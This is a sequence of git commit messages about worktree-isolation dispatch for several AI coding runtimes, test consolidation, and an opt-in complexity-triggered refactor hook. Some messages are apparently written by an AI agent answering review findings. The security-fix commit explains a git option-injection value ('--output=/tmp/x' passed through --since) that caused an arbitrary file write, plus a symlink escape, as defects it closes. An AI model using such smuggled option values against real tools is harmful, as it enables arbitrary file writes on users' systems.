comparison, so `[ "claude" != "$RUNTIME" ]` — the same gate written
backwards — evaded every one of them. Verified against the old patterns
before fixing: all four reversed shapes (single bracket, double bracket,
test builtin, JS template) scored EVADED.

Each comparison shape is now generated in both operand orders from a single
template, so a shape cannot be added in one order and forgotten in the other.
The mutation table gains the four reversed cases.

Also adds the fast-check property review suggested in place of the hand-rolled
cases: it generates the cross product of the axes an author actually varies —
bracket form, operator, operand order, quoting, spacing, runtime id — so a
permutation the hand-written patterns miss surfaces here rather than in
production. The 11 explicit cases stay as named regression anchors.

execute-plan.md joins the scan's required-identities list now that it is a
converted dispatch site.

* test(#2652): repin the execute-plan.md PROSE_ALLOWLIST line after the rebase

The #2751 command-position gate pins its prose exemptions by line number.
This branch inserts the dispatch-isolation resolution above the
`validated downstream by gsd-tools uat classify-coverage` sentence, moving
it from execute-plan.md:387 to :397 — which fired the gate twice for one
displacement (an un-allowlisted mention at 397, a stale entry at 387).
The prose itself is unchanged from next; only the pin moves.

Fixes #2652

* fix(#2652): gate the #2649 base-check on ISOLATION in diagnose-issues.md

The rebase onto next merged #2649's pre-dispatch base-check textually, but
its degrade flipped USE_WORKTREES after ISOLATION was already resolved, so
the degrade never reached the dispatch decision. Gate the block on
ISOLATION = "harness-worktree" and degrade ISOLATION itself, the same
pairing quick.md already uses.

* fix(#2652): key quick.md post-dispatch bookkeeping on ISOLATION, not the Claude literal

Review Blocker: the manifest append (l.822), worktree merge-back (l.825), and
its skip clause (l.839) all conditioned on the literal isolation="worktree" —
Claude Code's own rendering of {harnessFlag}. Cursor renders --worktree, so a
newly-unblocked isolated Cursor run created a worktree whose committed work
was never merged back and never cleaned up, silently. All three now key on
ISOLATION = "harness-worktree" at dispatch.

The existing parity detector cannot catch this class (its ISOLATION_TOKEN
treats the literal as a legitimate marker), so this adds a dedicated
literal-condition detector with a discrimination proof against both pre-fix
sentences, a benign-mention control, and a positive pin on all three
re-keyed conditions. Verified fail-first against the pre-fix quick.md.

* fix(#2652): scope the use_worktrees=false install stamp to isolation=none runtimes

`_stampNonClaudeRuntimeDefaults` rewrote every non-Claude runtime's
`workflow.use_worktrees` read to `--default false`. That default resolved
before `gsd_run query dispatch-isolation` was ever consulted, so the five
runtimes that declare worktree support — cursor (harness-worktree) and
codex/opencode/kimi/kimi-code (orchestrator-worktree) — got ISOLATION=none
regardless of what they negotiated. The gate this PR migrates dispatch onto
was therefore still deciding isolation by runtime name, one layer down.

The stamp's #1521 premise was that worktree isolation *was* Claude Code's
isolation="worktree" spawn parameter, which no other host honored. #2584
replaced that premise with the negotiated capability. The stamp is now scoped
to runtimes whose negotiated isolation really is `none`, where the default it
writes is the outcome the resolver reaches anyway.

`_negotiatedDispatchIsolation` mirrors routeDispatchIsolation's resolution
against the same registry — closed vocabulary, a harness-worktree host must
declare its flag, an orchestrator-worktree host must carry a descriptor that
resolves — and fails closed to `none` on anything else, so an undeclared or
unknown runtime keeps today's behavior.

Two #1515 tests pinned the superseded premise for codex and are re-pointed at
the new contract rather than deleted: the safety property they protect is now
held by the isolation gate's fail-closed resolution, not by a name-scoped
install-time default. Verified fail-first — all five assertions red against
the pre-fix source, green after.

* test(#2652): acknowledge the emitted ripple and re-point the end-to-end stamp proof

Scoping the use_worktrees stamp changes emitted output, and two gates caught it.

`gsd-core/workflows/execute-phase.md` now differs at emit time for the five
hosts that declare worktree support (cursor harness-worktree; codex, opencode,
kimi, kimi-code orchestrator-worktree) — the source file is byte-identical, only
the stamp is gone. Acknowledged in this PR's fragment.

`tests/install.test.cjs`'s real-install assertion pinned the superseded premise
end-to-end, asserting codex receives `--default false`. Re-pointed rather than
deleted, matching the two unit tests: it now proves codex keeps the unstamped
`true` read. A second arm installs windsurf — which declares isolation `none` —
and asserts the false stamp is still applied there, so the change cannot
silently degrade into "never stamp" without a test noticing.

The ack entry collides with `2658-trae-instruction-file-path.json`, which is
fully spent (merged via #2925, so all 25 of its entries are present at base and
gate nothing) and is pruned for the same reason and by the same rule as the
spent `2649-*` fragment this PR already removed. #2566 prunes the same file for
the same collision on `new-project.md`; a delete/delete merges cleanly either
way, and the base-side cleanup would make both unnecessary.

* fix(#2652): re-record the sentinel when a dispatch site degrades isolation

Review Blocker B1/B2/B3. Every isolation degrade in a dispatch site is decided
in shell, where routeDispatchIsolation cannot see it. That resolver persists
whatever it resolved to the run-scoped sentinel as an unconditional side effect
(#3045), so a degrade that only reassigns $ISOLATION leaves the sentinel
asserting harness-worktree while the dispatch correctly omits the harness flag.
The shipped PreToolUse guard reads the sentinel at the instant of the Agent()
call and denies that mismatch with exit 2 — the work does not run unisolated,
it does not run at all. Latent on this branch and lands on rebase, since
8f75e275 (#3045) is not yet in the merge-base.

Four sites now push the final shell-computed value through the same single
write path with --force-isolation, matching the idiom #3045 established in
executor-isolation-dispatch.md:

  - quick.md, after the #1941 base-check degrade
  - diagnose-issues.md, after the config-gate degrades and after #2649's
  - execute-plan.md Pattern A, before spawning
  - references/dispatch-isolation-gate.md, both degrade paths, plus a new
    "Re-record after every degrade" section — the canonical file taught the
    defect, so fixing only the call sites would leave the source of truth wrong

Tests assert the RECORDED value, not $ISOLATION. Asserting the local variable
is what let this class through: $ISOLATION was already `none` at every site and
the defect was entirely in what reached the sentinel. Each workflow's own
degrade block is executed under a gsd_run stub that captures the write, with a
fail-first proof that the pre-fix shape records nothing (while $ISOLATION reads
`none` in both), plus a coverage guard so a new degrade site cannot skip it.

Also corrects the drift-ack rationale (review Minor 5): @-references are
eagerly inlined, so extracting the gate does not reduce loaded context. The
reason to extract is single-sourcing across five dispatch sites.

* fix(#2652): restore next's 2658 ack fragment, minus the one colliding key

trek-e (PR #2728, 2026-08-07): the branch deleted
tests/emitted-drift-acks/2658-trae-instruction-file-path.json wholesale
while next had modified it. That was correct against the 08-03 base, where
the fragment was fully spent; it is wrong against next @ 1d208e5a, which
still carries 23 live entries.

next's copy is restored byte-identical except for the single key that
genuinely collides with this PR's own fragment,
gsd-core/workflows/execute-phase.md. Both acks name that path for
different deltas -- 2658's is the trae CLAUDE.md replacement-target
rewrite, ours is the emit-time _stampNonClaudeRuntimeDefaults ripple from
review round 3. Per the ack-lifecycle law (#2789), an entry already at the
base is spent and inert, so this PR's entry is the live one and 2658's is
dropped.

This follows the guidance given on #2566 in the 08-06 round: "Regenerate
rather than delete -- the collision is one entry."

Verified: lint-emitted-drift-ack ok (0 problems, 357 keys, no cross-source
duplicates); emitted-attribution 170/170 with GSD_EMITTED_BASE=upstream/next;
host-integration 222/222; runtime-converters 130/130.

* fix(#2652): bound the degrade-harness spawn and close the round-6 majors

B1 (CI red, ours): tests/host-integration.test.cjs spawned bash with no
timeout, violating local/no-unbounded-spawn. `next` deleted the allowlist
outright (#3148), so the merge-commit run flags it even though this branch
still carries the file's grandfathered entry. Bounded at 15s, with a named
failure on timeout/signal rather than an opaque `exited null`.

M1: add a parity test between `_negotiatedDispatchIsolation` (install time)
and `routeDispatchIsolation` (dispatch time). Both read the same capability
registry and the same `resolveOrchestratorExec`, but duplicate the DECISION
on top of them across two surfaces with no call edge between them, so neither
symbol appears in the other's impact graph and nothing static can catch them
drifting apart. The resolver leg drives the real gsd-tools CLI per registered
runtime, both ways it is really called: with `--cwd-target` (the executor
spawn, which resolves the orchestrator descriptor — the same question install
time asks) and without it (the `Resolve ISOLATION` call every dispatch site
makes first, which does not). The second leg is what catches an orchestrator
host whose descriptor stops resolving: the install would stamp
`use_worktrees=false` while the workflow gate still reported
`orchestrator-worktree`.

M2: add install-level Cursor coverage. A real `--cursor` install, then the
gate blocks that install emitted, run against the gsd-tools that install
emitted, with the runtime declared through `.planning/config.json` — the tier
`resolveRuntime` actually reads — and any ambient GSD_RUNTIME blanked, so the
install has to reach the right resolver on its own. It then performs the
documented `{harnessFlag}` substitution against the `Agent()` call that
install emitted and asserts on the rendered dispatch: exactly one emitted
Agent() call carries the slot, it is the gsd-executor / gsd-debugger dispatch
rather than some other call in the same file, and rendering it yields
`--worktree` with no residual placeholder and no `isolation="worktree"`.
This is artifact-level — it proves the emitted wiring, not a live Cursor
host invocation. Asserting the shell variable alone would have stayed green
if the placeholder were deleted from the emitted dispatch, or drifted onto
the reviewer call beside it.

M3: diagnose-issues.md inlined a reordered copy of the reference this PR
introduces as the single source of truth. It now reads the reference the
same way quick.md and execute-plan.md do; the drift-ack entry is corrected
to describe what the file actually contains, and to name the four files that
reference the gate rather than claiming five.

M4: CONTEXT.md still called `resolveOrchestratorExec` UNCONSUMED in the same
paragraph this PR edits. It has been consumed since #2584 Phase 3 — routed
through `query dispatch-isolation --json` and process-spawned by
executor-isolation-dispatch.md — and #2652 adds a second consumer.

Every new assertion verified fail-first against a real mutation: cursor's
negotiated isolation (breaks the target-bound parity leg), the no-target
orchestrator branch in routeDispatchIsolation (breaks the gate parity leg),
cursor's harnessIsolationFlag (breaks the resolved value), deleting
`{harnessFlag}` from quick.md's emitted Agent() call (breaks the slot), and
moving it onto the code-reviewer dispatch (breaks the wrong-call guard).

Refs #2652

* fix(#2652): serialize unisolated diagnosis, scope the execute-plan gate to dispatching patterns

Round-7 review findings (independent cross-AI pass over the whole PR against
the current base).

BLOCKER — diagnose-issues.md announced sequential mode and then fanned out.
The `orchestrator-worktree` degrade sets ISOLATION=none and prints "debug
agents run sequentially on the main working tree", but the spawn step still
said "All agents spawn in single message (parallel execution)". On Codex,
OpenCode and Kimi that dispatched N unisolated debuggers concurrently against
the primary checkout — the exact outcome the degrade exists to prevent, and
reachable only because this PR removed the FATAL that used to stop those
hosts earlier. Fan-out is now keyed on ISOLATION: parallel only when each
agent has its own worktree, one at a time otherwise.

BLOCKER — execute-plan.md Pattern B could not dispatch at all on Claude or
Cursor. The gate recorded `harness-worktree` to the #3045 sentinel, but only
Pattern A carries `{harnessFlag}`; Pattern B's segment executors carry none,
and `hooks/gsd-agent-isolation-guard.js` blocks precisely that mismatch with
exit 2. Segments are unisolated BY DESIGN — each continues on the working
tree the previous one left behind, so per-agent worktrees would break the
sequence — so Pattern B now records `none` before its first dispatch and
dispatches without the flag.

MAJOR — the same gate ran before routing was chosen, so an isolation-`none`
host with `use_worktrees=true` hit the fail-closed FATAL even when routing
would have selected Pattern C, which is fully inline and dispatches nothing.
Resolution now happens after the pattern is known, and Pattern C skips it.

MAJOR — tests/host-integration.test.cjs fed `fs.readFileSync` output straight
to bash. The `\r?\n` fence regex guards only the delimiter, leaving embedded
CR on every line of the captured body — DEFECT.WINDOWS-CRLF-TEST-PORTABILITY,
which helpers.cjs documents by name. Now reads through `readFileNormalized`.

MAJOR — the "every dispatch-site degrade block re-records" test hand-listed
three files, so its name was a claim its scan could not support. The scan is
now derived from the workflow/reference tree (SCAN_ROOTS/collectMarkdown
hoisted to module scope so there is one definition, not two). Verified
fail-first against execute-plan.md — a file the previous scan never opened.
The two wave fragments are exempt because they delegate the re-record to
per-plan-worktree-gate.md via USE_WORKTREES_FOR_PLAN; that delegation is now
ASSERTED, so deleting the delegate fails this test instead of widening a hole
silently.

MINOR — the changeset claimed the FATAL was gone for "non-Claude runtimes"
full stop. Narrowed: isolation-`none` hosts still fail closed when worktrees
are explicitly enabled, which is the contract rather than the defect.

Two further findings were investigated and rejected, with evidence:
- Raw `spawnSync` vs `tests/helpers/process-seam.cjs`: the seam exposes
  runNode/runGit/runHook and cannot express the `bash -c` harness these tests
  need; `installAndRead` in this same file is byte-identical to the base and
  still uses raw spawnSync with an explicit timeout, which is the form the
  lint sanctions. Migrating only the new call sites would split the file's
  convention for no safety gain.
- `pending-migration-to-typed-ir` on the runtime-converters parity test: the
  annotation and the rendered-text loop both exist at the merge-base under
  #3090. This PR extends an already-tracked test rather than adding a new one
  under a category CONTRIBUTING closes to new tests.

Refs #2652

* test(#2652): re-point the execute-plan prose allowlist at its shifted line

`PROSE_ALLOWLIST` in tests/no-bare-gsd-tools-command-position.test.cjs keys
entries by LINE NUMBER. The previous commit added the post-routing isolation
block to execute-plan.md, which pushed the `validated downstream by
gsd-tools uat classify-coverage` prose mention from line 397 to 414. That
broke the guard in both directions at once: the entry at 397 went stale, and
the real mention at 414 became an unallowlisted offender.

Caught by CI (7 red jobs, all shard 3/3 plus ubuntu-22) rather than locally,
because I verified only the suites I believed the change touched. Any edit to
a workflow .md shifts line numbers, and this repo carries line-keyed
allowlists — so a workflow edit needs the full suite, not a subset.

Refs #2652

* test(#2652): route the new subprocesses through the process seam

Retracting a rejection I made on the record. In the round-6 response I
argued these call sites could keep a hand-rolled `spawnSync` because the
seam exposes only runNode/runGit/runHook and cannot express `bash -c`, and
because `installAndRead` in the same file uses that shape. The first half
was true and irrelevant, the second half is not a licence: CONTRIBUTING is
unambiguous — "Anything that shells out goes through
tests/helpers/process-seam.cjs — never a hand-rolled spawnSync/execFileSync
in your suite", and "Never use try/finally inside test bodies."

`runHook` already documents `interpreter: 'bash'` for running a shell
script, so writing the harness to a file complies without extending the
seam. I had the rule and the seam's own documentation in front of me and
reasoned around both.

Converted:
- host-integration.test.cjs degrade harness: spawnSync('bash', ['-c', …])
  → runHook(scriptFile, [], { interpreter: 'bash' }).
- install.test.cjs cursor gate: `which bash` probe → process.platform;
  the installer spawn → runNode(…, { env: installSpawnEnv({HOME,
  USERPROFILE}) }), which also blanks ambient GSD_HOME/runtime-location
  vars that could otherwise make capability discovery host-dependent;
  the emitted-gate spawn → runHook(gateScript, [], { interpreter: 'bash' }).
- Three try/finally test bodies → t.after().

Class-norm timeouts: tests/helpers/timeouts.cjs arrived with this branch's
latest base merge, so the literals written earlier (15000/120000/60000) now
duplicate PROBE_TIMEOUT_MS and INSTALL_TIMEOUT_MS. Imported instead — that
module exists because INSTALL_TIMEOUT_MS had already drifted 60s→120s once
after a real bench ETIMEDOUT.

Deliberately NOT converted: `installAndRead`'s spawnSync, which is
byte-identical to the merge-base and predates this PR — converting shared
scaffolding is an unrelated change.

Verified equivalent, not assumed: argv/cwd/env/encoding/timeout and every
assertion are preserved; t.after() still cleans up on the assertion-failure
path the try/finally covered; and the cursor test still resolves Cursor
under a hostile ambient GSD_RUNTIME=claude.

Refs #2652

* fix(#2652): replace the falsified use_worktrees doc row; distinguish an unresolvable gate from a declared none

Round-8 review findings.

BLOCKER — docs/CONFIGURATION.md's `Non-Claude note` asserted three things
this PR overturns: that worktree isolation "no other runtime honors"
(Cursor declares harness-worktree with `--worktree`, and this PR's own
install test asserts that flag reaching the emitted Agent() slot), that
non-Claude installs default the key to `false`, and that forcing `true`
always fails closed. Replaced with the capability-based description, and
the `#1515, #1521` citation dropped — those are the two issues whose
premise this PR removes.

The reviewer flagged that the fix is merge-order dependent, because #2531
rewrites the same row and its replacement text is written in anticipation
of this PR landing. Rather than pick an order, BOTH sides are now
order-independent: #2531's "Current default … until #2652" paragraph
becomes a plain troubleshooting note, and this row states the capability
rule without asserting a stamp state. Whichever merges first, the row is
correct; the second merge is a textual conflict at worst.

MINOR — the gate reported a capability verdict the tool never returned.
`ISOLATION=$(… || echo "none")` made a shim-resolution failure, a non-zero
exit and an empty stdout indistinguishable from a declared `none`, so a
transient query failure aborted /gsd:quick on Claude Code with "runtime
'claude' declares no executor-isolation primitive" — false. The gate now
tracks ISOLATION_RESOLVED separately: both paths still fail closed, but only
a real verdict claims the host declares nothing; the unresolved branch says
it could not resolve and points at the shim. Fixed in the canonical
reference so every dispatch site inherits it.

MINOR — quick.md:527 cited #2649 for its own degrade; that is #1941, and
#2649 is the diagnose-issues/execute-plan gate. Corrected, and the
distinction stated so the next reader does not chase it.

MINOR — quick.md:413 (manifest init) and :429 (worktree_branch_check embed)
still branched on USE_WORKTREES while dispatch, manifest-append, merge-back
and the skip clause had all moved to ISOLATION. Safe only by coincidence —
both now key on ISOLATION.

MINOR — the diff removes a second drift-ack entry (the execute-phase.md key
from 2658-trae-instruction-file-path.json), forced by the same duplicate-key
lint rule as the 2649 removal. Disclosed in the PR comment; the earlier
disclosure covered only one of the two.

Verified: lint:ci green; 300/300 across host-integration,
fix-1941-quick-worktree-stale-base, execute-phase-wave and workflow-guard.

Refs #2652

* test(#2652): anchor the emitted-gate finder on the heading, not the assignment

`b89c3fbf` added a finder that located the gate's `Resolve ISOLATION` block by
the literal `ISOLATION=$(gsd_run query dispatch-isolation --raw`. `f3bccf21`
then split that assignment into `_ISOLATION_RAW`/`ISOLATION_RESOLVED` so a shim
failure stops masquerading as a declared `none` — and the finder stopped
matching. The test did not report the drift it exists to catch; it reported
"emitted dispatch-isolation-gate.md has no Resolve ISOLATION bash block" and
went red, and stayed red because the earlier full-suite run was read from a
truncated log.

Anchored on the heading instead. The workflows tell a dispatch site to run the
`Resolve ISOLATION` and `Resolve the harness flag` blocks BY NAME, so the
heading is the contract and the body is free to change under it.

Verified: 413/413 in tests/install.test.cjs. The test still bites — mutating the
gate's `ISOLATION="$_ISOLATION_RAW"` to `ISOLATION=none` turns it red (the
emitted gate then resolves cursor to none and exits 1 instead of printing
harness-worktree), and reverting restores green.

* fix(#2652): wire the canonical resolver at the one dispatch site that still inlined the old shape

Codex review of the whole PR on the new base found one Major, and it was real.

executor-isolation-dispatch.md declares references/dispatch-isolation-gate.md
canonical at line 10, then kept the OLDER resolver inline: `|| echo "none"`, no
ISOLATION_RESOLVED. So the one site that resolves isolation for the wave path
collapsed a shim failure into a declared `none` and aborted with "runtime
'$RUNTIME' declares no executor-isolation primitive" — false for a Claude or
Cursor user whose resolver merely failed to answer. Still fail-closed, so not an
unsafe-dispatch hole, but the correction this PR is about was unwired at the
site that matters most.

Replaced with the gate's exact shape: capture the raw value, track
ISOLATION_RESOLVED, and emit the "could not resolve" FATAL when no verdict was
learned.

Added a regression test in the #2652 dispatch-site parity suite: every file that
ASSIGNS from `gsd_run query dispatch-isolation --raw` must carry
ISOLATION_RESOLVED, must not use the collapsing form, and must have a distinct
unresolved message. Nothing covered this before — install.test.cjs checks the
emitted REFERENCE, not each site's own inline copy, which is exactly how the two
drifted apart.

The test's first draft also flagged quick.md, diagnose-issues.md and
execute-plan.md. That was a false positive worth recording: those three
@-reference the gate and only make `--force-isolation` re-record calls, which
carry no verdict. The predicate now matches an assignment from the resolver, not
any mention of it, so it flags sites that can actually be wrong.

Verified by mutation: restoring the collapsing line reds the new test.

Validated: lint:ci clean; full suite shows the same 7 known failures as the
pre-change baseline — #1160 _resolveManifest and the #3053 quick_id
host-timezone tests (both reproduce on pristine next @ 33fca50d), plus
helpers-cleanup "outside os.tmpdir()", which fails only in a worktree.

* test(#2652): close two vacuous-pass holes in the new inline-resolver guard

Codex cleared the push and flagged the guard test itself. Both holes were real.

SCAN_ROOTS already yields references/dispatch-isolation-gate.md, and the test
appended it a second time, so the candidate list was [executor, gate, gate] and
`length >= 2` was satisfiable by the gate alone. If the executor site had
dropped out of the predicate — the exact regression the test exists to catch —
it would still have passed. Paths are deduped and the assertion now pins the two
expected inliner identities instead of a count.

The collapse detector keyed on `ISOLATION=$(…)`, so `_ISOLATION_RAW=$(… || echo
"none")` restored the identical defect while satisfying every other assertion
(ISOLATION_RESOLVED still appears in the file). Codex mutation-probed exactly
that and it passed. The pattern now matches any assignment target and any
`|| … echo` tail. Verified: that mutation now reds the test.

Test-only change; the workflow bash is byte-identical to the commit the full
suite ran green against. lint:ci clean, host-integration 223/223.

9341d8b8d3 test(#3334): fold the workflow-dispatch & review-lane fix-* cluster — Wave 2 (#3342)
Folds 15 tests/fix-*.test.cjs regression files (191 test() blocks) into
their module's main suite, per the wave decomposition of #3315 (H3 of
epic #3053). 187 blocks land in 8 existing suites (4 exact-duplicate
cases dropped, documented inline); 4 blocks move via git mv into 2 new
suite files with no prior coverage to merge into. Zero production
behavior change.

Also tightens two H1 (#3313) ratchets that the fold's own file-count
reduction moved past their grace window, per the ratchets' documented
dual failure mode (a stale/too-loose baseline fails exactly like a
novel violation):
- lint-test-file-count.allowlist.json: removes the stale "audit" entry
  (folding fix-2766 into tests/uat.test.cjs drops that module back to
  its 2-file cap).
- lint-allow-test-rule-refs.ceiling.json: lowers maxFiles 314 -> 309,
  the real post-fold high-water mark (gsd-test's own repo-baseline
  test caught this — CI, not a human, found it).

Two orthogonal review passes (Standards+Spec code-review, isolated
security-review) found and this commit fixes two issues before push:
a genuinely-distinct #2287 test case (file-absent vs. file-present-
resolved) that a prior fold pass had wrongly dropped as a duplicate —
restored verbatim into tests/uat.test.cjs; and a missing same-line
allow-test-rule citation on the #2196 block in
tests/debug-session-management.test.cjs, added for consistency with
its sibling #2257 block.

lint-removed-but-needed also caught two stale doc references to the
now-folded-away fix-2285-claude-orchestration-wiring.test.cjs filename
(docs/adr/1143-claude-orchestration-capability.md,
gsd-core/references/execute-phase-response-language.md) — updated both
to point at tests/claude-orchestration.test.cjs, its new home.

b901d1e06f feat(#1953): complexity-triggered refactor extension point (execute:post) (#3261)
* test(#1953): failing-first suite for the complexity-triggered refactor hook

60 behavioral cases against src/complexity-trigger.cts, which does not exist yet:
decision-point counting, the comment/literal stripping leak surface, threshold and
jump-delta boundaries at limit-1/limit/limit+1, stable-anchor baseline semantics,
and fs fault injection via mock.method. Two fast-check properties assert that
stripping never manufactures a decision point and that comments and string
literals are score-neutral.

Also registers the refactor-trigger capability manifest (inert until
refactor.trigger_enabled) and regenerates the capability registry and matrix.

Verified RED on the remote runner before any implementation exists.

* feat(#1953): complexity-triggered refactor extension point

Adds the opt-in refactor-trigger capability. After a phase executes, an
execute:post step measures per-function complexity for the files the phase
touched and writes a scoped refactor proposal when a function crosses the
configured threshold or drifts past its recorded anchor.

Design notes worth carrying:

- The signal is computed in-core (decision-point counting over comment- and
  literal-stripped source, Node builtins only) rather than via Memtrace or a
  shelled-out analyzer. The hook fires as a deterministic CLI, not an agent
  with MCP tools, and core takes no external dependencies — this is the only
  option a behavioral test can bind to. The metric sits behind a seam.
- The baseline is a stable anchor, not a rolling value: set on first
  observation, moved only on disposition. A rolling baseline makes the delta
  the single-phase change, so a function creeping +2 per phase never trips a
  delta of 5 and the jump check adds nothing over the absolute threshold.
- Strict mode records an open deviation window in the broken-windows ledger
  rather than declaring its own ship:pre gate. ship.md has no generic ship:pre
  gate dispatch — only two hardcoded branches — so a third gate of any kind
  would be declared and never evaluated.
- The gate clears on the proposal being dispositioned, never on the score
  improving. A blocking complexity number is one an executor can satisfy by
  splitting a coherent function in two.

execute-phase.md gains a generic execute:post step-dispatch contract; it
previously matched only ref.skill == "code-review", so any other step
registered there was declared and never run. The code-review branch is
unchanged.

Full rationale in ADR-1953.

Closes #1953

* fix(#1953): close git option injection and symlink escape in the refactor hook

Three findings from the isolated security review, all fixed inline.

HIGH — changedFilesSince interpolated the --since value into a revision
token placed before the -- separator. A -- only stops PATHSPEC parsing of
arguments after it; git still option-parses what comes before. So
--since '--output=/tmp/x' became --output=/tmp/x..HEAD, which git accepts
as --output=<file> and uses to redirect diff output — an arbitrary write.
Fixed with --end-of-options before the revision range plus a conservative
ref validator. The validator deliberately permits ~ ^ @ { } because those
are legitimate git REVISION syntax (HEAD~1, main@{yesterday}) as distinct
from ref-NAME syntax; --end-of-options is the actual barrier. The doc
comment asserting the trailing -- was sufficient was wrong and is corrected.

MEDIUM — resolveConfinedPath confined by string prefix only, so a symlink
committed inside the repo passed the check (its own path is under cwd) and
readFileSync then followed it outside the root. Now lstat-checks for a
regular file and skips anything else with REFACTOR_FILE_UNREADABLE, so one
bad path skips one file and the run continues.

LOW — the new execute:post dispatch contract showed the gsd_run example
before the rule requiring ref.command be validated first. That prose is
executed by an agent, so textual order is execution order. Reordered.

Refs #1953

* fix(#1953): make the analyzer able to see TypeScript at all

Found by running the shipped analyzer over its own source: it reported
functions=1 for a 940-line module with 24 function forms. A return-type
annotation or a generic parameter list made a function invisible —
`function f(a): number {}` and `function f<T>(a: T): T {}` both detected as
zero. Since gsd-core is written in .cts and the capability declares
.ts/.cts/.mts analyzable, the feature silently found nothing in this repo's
own primary language while reporting success. A safety net that reports
"all clear" because it cannot see is worse than no safety net.

All 98 tests passed over this, because every fixture was plain JS — the
exact failure the test matrix's own "assert against the shape production
uses" warning describes. Adds a TypeScript-shapes suite covering return
types (including unions, generics, object literals and type predicates),
generic parameter lists (constrained and defaulted), export/async/generator
combinations, annotated arrows, class-method modifiers, and optional/
default/rest params — plus the two traps: an overload signature has no body
and must not count, and `a < b && c > d` is a comparison, not a generic.
Detection now reports 24/37/21 functions for the three source files, which
matches a hand count exactly.

Also from review:

- The strict-mode ledger dedup identified entries by parsing a prose
  description string. That is banned by CONTRIBUTING's raw-text-matching
  rule and was a real bug: the "exactly one window per untriaged proposal"
  guarantee rested on prose matching, so rewording a description or editing
  WINDOWS.md by hand silently produced duplicates. Now matches structurally
  on kind + phase + file + line.
- A property test asserted on the stripper's output text. Reframed to
  assert the same invariant through analyzeSource's score.
- nextBaseline's `candidates` parameter has been dead since the anchor
  change; removed from the signature and all call sites.
- Extracted the duplicated require-or-degrade and capability-check
  boilerplate.
- ADR-1953's Implementation bullet still named a `refactor.ship-gate` in
  check-command-router.cts — a leftover from the design cut D6 rejects.
  That file is untouched and no such gate exists. Removed.

* fix(#1953): keep execute-phase.md under its byte ceiling; un-vacuum the large-file test

Five of the seven remote-runner failures were one cause: the execute:post
dispatch contract, written out inline, grew execute-phase.md 1876 bytes
(93,400 -> 95,276) against a frozen PRE_PHASE6 ceiling of 93,600. A drift-ack
does not clear that — tests/phase6-capstone-conformance.test.cjs and
tests/fix-2285-claude-orchestration-wiring.test.cjs assert the file is
literally under the cap.

The contract now lives in gsd-core/references/loop-hook-dispatch.md, which
already claimed to be the point-agnostic dispatch reference and already
documented ref.skill and ref.agent. It gains the ref.command shape, its
in-context validation rule, the advisory-by-construction statement, and a
note that a point whose workflow hand-rolls one kind is not implementing
this contract. execute-phase.md now defers to it in one line: 145 bytes of
growth, 55 B of headroom under the cap. Better placement than the first cut
— the reference was overstating its coverage, and this makes the claim true
rather than duplicating prose next to it.

Acknowledged by appending to tests/emitted-drift-acks/2930-*.json rather
than a new 1953-*.json: two ack sources may never name the same path, and
that fragment is already the accumulating ack for this file.

Sixth and seventh failures: analyzesLargeFileWithinBounds tripped its own
vacuity guard — the fixture generated ~480 KB against a `> 500000` assert,
so the guard fired and the three assertions after it never ran. The test
has been vacuous since it was written. The matrix row specifies ~1 MB, so
N goes 8000 -> 20000 (1.17 MB, 17% margin) and the guard to > 1_000_000.
Verified by reproducing the exact body against the compiled module: 1168888
bytes, 118 ms, all four assertions hold.

Refs #1953

* fix(#1953): fold the execute:post step deferral into the existing resolve line

The remaining two failures were one test: execute-phase.md carries a SECOND,
tighter assertion than the 93,600 ceiling — `<=93400`, which is exactly its
current size. The file cannot grow by a single byte. My previous fix got it
under 93,600 but not under 93,400, so it still failed. ("H." in the report is
just the parent describe of that same test, not a separate defect.)

Rather than add a paragraph, the deferral now REPLACES the existing hook
resolution line. It read:

  Resolve active step hooks from `EXECUTE_POST_HOOKS_JSON` where
  `kind == "step"` and `ref.skill == "code-review"`.

which is the bug itself written down — only code-review was ever dispatched.
It now reads:

  Dispatch each `kind == "step"` hook per
  @gsd-core/references/loop-hook-dispatch.md. For `code-review`:

The following prose already begins "If no active code-review step hook
exists", so it reads correctly and the code-review handling is untouched.
Net effect on the file is -11 bytes: 93,400 -> 93,389, under the margin
assertion rather than merely under the ceiling.

That also removes the need for a drift-ack: the file shrank, so there is no
growth to acknowledge, and the append to the shared 2930-*.json fragment is
reverted. Leaving it would have shipped a claim of "145 bytes of growth"
that is no longer true, on a file six other issues share.

The test's own comment states the principle this ended up honoring: "the host
loop must stay small — optional-feature detail belongs in the capability
fragment, not the host workflow." Putting the dispatch contract in the
reference rather than inline is that rule, applied.

Refs #1953

* fix(#1953): keep the code-review hook literal the workflow test requires

tests/code-review.test.cjs extracts the <step name="code_review_gate"> block
and asserts it contains `ref.skill == "code-review"` verbatim. The previous
commit replaced the line carrying that literal, so the token vanished and the
test went red — a fair assertion: code-review IS the bespoke branch there and
the workflow should still name it.

Restored inside the same one-line deferral, which now reads:

  Dispatch `kind == "step"` hooks per @gsd-core/references/loop-hook-dispatch.md.
  `ref.skill == "code-review"`:

93,396 bytes — still under the `<=93400` margin assertion and 4 bytes below
the base, so the file continues to shrink rather than grow.

Because three consecutive runs were each reddened by a different assertion on
this one file, this change was verified by sweeping ALL of them at once rather
than one run at a time: every test under tests/ that reads execute-phase.md or
references/loop-hook-dispatch.md was located by resolving its path constants,
and each content/size assertion was evaluated directly against the working
tree — 22 assertions, plus two real executions (gen-section-manifest --check,
and emitted-attribution's full real-tree differential). All pass.

That sweep also confirms the earlier judgement call: the net change to
execute-phase.md is a SHRINK, and the size ratchet only gates growth, so
reverting the append to the shared 2930-*.json ack fragment was correct — an
ack would have been both unnecessary and factually wrong.

* chore(#1953): backfill changeset pr number to 3261

* docs(#1953): add the missing how-to for acting on a refactor proposal

Reference and explanation shipped (COMMANDS.md, CONFIGURATION.md,
FEATURES.md 159, ADR-1953) but the Diataxis how-to quadrant did not, and
that is the one a user reaches for. CONTRIBUTING's required-docs table is
'new command -> COMMANDS.md + FEATURES.md', so CI was green on a gap.

Enabling this feature is genuinely multi-step and no single page walked it:
turn it on, tune the threshold, understand advisory vs strict, discover
that strict needs a SECOND toggle on a DIFFERENT capability, and know what
to do when a proposal appears. The two-toggle subtlety in particular was a
footnote in a config table; here it is a section with both commands.

Follows the shape of its closest siblings, resolve-edge-coverage-findings
and resolve-prohibition-findings — both 'the loop surfaced a finding, here
is what to do with it'. Includes a reason-code table for the silent cases,
since the analyzer is deliberately quiet in six situations and a user who
expected a proposal needs to tell 'nothing to report' from 'could not look'.

Indexed from docs/README.md beside the other loop how-tos.

Docs-only: exempt from the push gate, no re-verification, pass marker on
2af188b4 untouched.

Refs #1953

